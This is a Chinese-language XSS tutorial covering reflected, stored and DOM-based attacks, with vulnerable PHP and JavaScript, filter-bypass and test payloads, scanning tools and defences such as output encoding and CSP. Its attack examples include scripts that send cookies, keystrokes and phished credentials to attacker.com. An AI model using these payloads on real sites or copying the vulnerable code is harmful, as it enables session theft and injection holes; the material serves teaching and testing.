什麼是 XSS(跨站腳本攻擊)?
跨站腳本攻擊(Cross-Site Scripting,簡稱 XSS)是一種常見的網頁應用程式安全漏洞。攻擊者透過在網頁中注入惡意腳本程式碼,當其他使用者瀏覽該頁面時,這些腳本就會在使用者的瀏覽器中執行。
XSS 攻擊原理
XSS 攻擊的核心原理是利用網站對使用者輸入缺乏適當的驗證和過濾。當網站直接將使用者提供的資料嵌入到網頁中而未進行適當的編碼處理時,攻擊者就可以注入惡意的 JavaScript 程式碼。
1
| 使用者輸入 → 網站未過濾 → 輸出到頁面 → 瀏覽器執行惡意腳本
|
三種 XSS 類型
1. 反射型 XSS(Reflected XSS)
反射型 XSS 是最常見的 XSS 類型。惡意腳本透過 URL 參數傳遞,當伺服器將這些參數反射到回應頁面時,腳本就會執行。
特點:
- 惡意程式碼包含在 URL 中
- 需要誘導受害者點擊惡意連結
- 腳本不會儲存在伺服器上
攻擊範例:
假設有一個搜尋功能,會將搜尋關鍵字顯示在頁面上:
1
2
3
4
5
| <!-- 正常 URL -->
https://example.com/search?q=手機
<!-- 惡意 URL -->
https://example.com/search?q=<script>alert('XSS')</script>
|
易受攻擊的程式碼:
1
2
3
4
| <?php
// 危險:直接輸出使用者輸入
echo "搜尋結果:" . $_GET['q'];
?>
|
1
2
| <!-- 結果頁面 -->
<p>搜尋結果:<script>alert('XSS')</script></p>
|
2. 儲存型 XSS(Stored XSS)
儲存型 XSS 是最危險的 XSS 類型。惡意腳本被永久儲存在目標伺服器上(如資料庫),當其他使用者瀏覽包含該內容的頁面時就會觸發。
特點:
- 惡意程式碼儲存在伺服器
- 影響所有瀏覽該頁面的使用者
- 不需要誘導點擊連結
攻擊範例:
在留言板中注入惡意腳本:
1
2
3
4
| <!-- 惡意留言內容 -->
<script>
document.location='https://attacker.com/steal?cookie='+document.cookie
</script>
|
易受攻擊的程式碼:
1
2
3
4
5
6
7
8
9
10
11
| <?php
// 儲存留言(未過濾)
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (content) VALUES ('$comment')");
// 顯示留言(未編碼)
$comments = $db->query("SELECT content FROM comments");
foreach ($comments as $c) {
echo "<div class='comment'>" . $c['content'] . "</div>";
}
?>
|
3. DOM 型 XSS(DOM-based XSS)
DOM 型 XSS 完全在客戶端執行,惡意腳本透過修改頁面的 DOM 環境來執行,不經過伺服器處理。
特點:
- 漏洞存在於客戶端 JavaScript
- 伺服器端無法偵測
- 透過 URL fragment(#)或其他 DOM 來源觸發
攻擊範例:
1
2
3
4
5
6
7
8
9
| <!-- 易受攻擊的程式碼 -->
<script>
// 從 URL hash 取得內容並直接寫入頁面
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;
</script>
<!-- 惡意 URL -->
https://example.com/page#<img src=x onerror=alert('XSS')>
|
常見的危險 DOM 操作:
1
2
3
4
5
6
7
| // 危險的 DOM 操作
document.write(userInput);
element.innerHTML = userInput;
element.outerHTML = userInput;
eval(userInput);
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
|
進階攻擊範例
竊取 Cookie
1
2
3
| <script>
new Image().src = "https://attacker.com/collect?cookie=" + document.cookie;
</script>
|
鍵盤側錄
1
2
3
4
5
| <script>
document.onkeypress = function(e) {
new Image().src = "https://attacker.com/log?key=" + e.key;
}
</script>
|
網頁釣魚
1
2
3
4
5
6
7
| <script>
document.body.innerHTML = '<form action="https://attacker.com/phish" method="POST">' +
'<h2>請重新登入</h2>' +
'<input name="username" placeholder="帳號">' +
'<input name="password" type="password" placeholder="密碼">' +
'<button>登入</button></form>';
</script>
|
繞過技巧
1
2
3
4
5
6
7
8
9
10
11
12
13
| <!-- 大小寫混合 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 使用事件處理器 -->
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<!-- 編碼繞過 -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- 使用 data URI -->
<a href="data:text/html,<script>alert('XSS')</script>">點我</a>
|
防護措施
1. 輸入驗證
1
2
3
4
5
6
7
| <?php
// 白名單驗證
function validateInput($input) {
// 只允許字母、數字和空格
return preg_match('/^[a-zA-Z0-9\s]+$/', $input);
}
?>
|
2. 輸出編碼
1
2
3
4
| <?php
// HTML 實體編碼
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| // JavaScript 編碼
function escapeHtml(str) {
return str.replace(/[&<>"']/g, function(match) {
const escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return escapeMap[match];
});
}
|
3. Content Security Policy (CSP)
1
2
| <!-- HTTP Header -->
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com
|
1
2
3
| <!-- Meta 標籤 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
|
4. HttpOnly Cookie
1
2
3
4
5
6
7
8
| <?php
// 設定 HttpOnly Cookie
setcookie('session', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
?>
|
5. 使用安全的 DOM 操作
1
2
3
4
5
6
| // 避免使用 innerHTML
// 危險
element.innerHTML = userInput;
// 安全
element.textContent = userInput;
|
6. 使用框架內建的防護
1
2
3
4
5
6
7
| // React(自動編碼)
function Comment({ text }) {
return <p>{text}</p>; // 自動編碼
}
// 需要插入 HTML 時使用(謹慎使用)
<div dangerouslySetInnerHTML={{__html: sanitizedHtml}} />
|
XSS 測試方法
手動測試
常用測試 Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <!-- 基本測試 -->
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<!-- 事件處理器 -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body onload=alert('XSS')>
<!-- 屬性注入 -->
" onmouseover="alert('XSS')
' onfocus='alert(1)' autofocus='
<!-- JavaScript 偽協議 -->
javascript:alert('XSS')
<!-- 編碼測試 -->
<script>alert('XSS')</script>
|
自動化工具
XSS Hunter
- 用於偵測 Blind XSS
- 當 XSS 觸發時會收到通知
Burp Suite
1
2
3
| 1. 使用 Burp Scanner 自動掃描
2. 使用 Intruder 進行 Fuzzing
3. 使用 Repeater 手動測試
|
OWASP ZAP
1
2
3
4
| # 主動掃描
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
https://target.com
|
XSStrike
1
2
3
4
5
| # 安裝
pip install xsstrike
# 使用
xsstrike -u "https://target.com/search?q=test"
|
測試流程
識別輸入點
- URL 參數
- 表單欄位
- HTTP Headers(User-Agent, Referer 等)
- Cookie 值
測試輸入反射
- 輸入唯一字串(如
xss123test) - 檢查回應中是否出現該字串
- 確認輸出位置(HTML、JavaScript、屬性等)
嘗試注入
- 根據輸出位置選擇適當的 Payload
- 測試不同的繞過技術
- 確認腳本是否執行
驗證影響
- 評估可執行的攻擊類型
- 確認是否能存取敏感資料
- 記錄完整的攻擊向量
總結
XSS 攻擊雖然是一種「古老」的漏洞類型,但至今仍然普遍存在。防護的關鍵在於:
- 永遠不要信任使用者輸入 - 所有輸入都應該被視為不可信的
- 正確的輸出編碼 - 根據輸出位置使用適當的編碼方式
- 多層防禦 - 結合 CSP、HttpOnly Cookie 等多種防護機制
- 定期測試 - 使用自動化工具和手動測試相結合
作為滲透測試人員,深入了解 XSS 的各種類型和繞過技術是必要的。而作為開發人員,建立安全編碼習慣和使用現代框架的內建防護是預防 XSS 的最佳實踐。
參考資源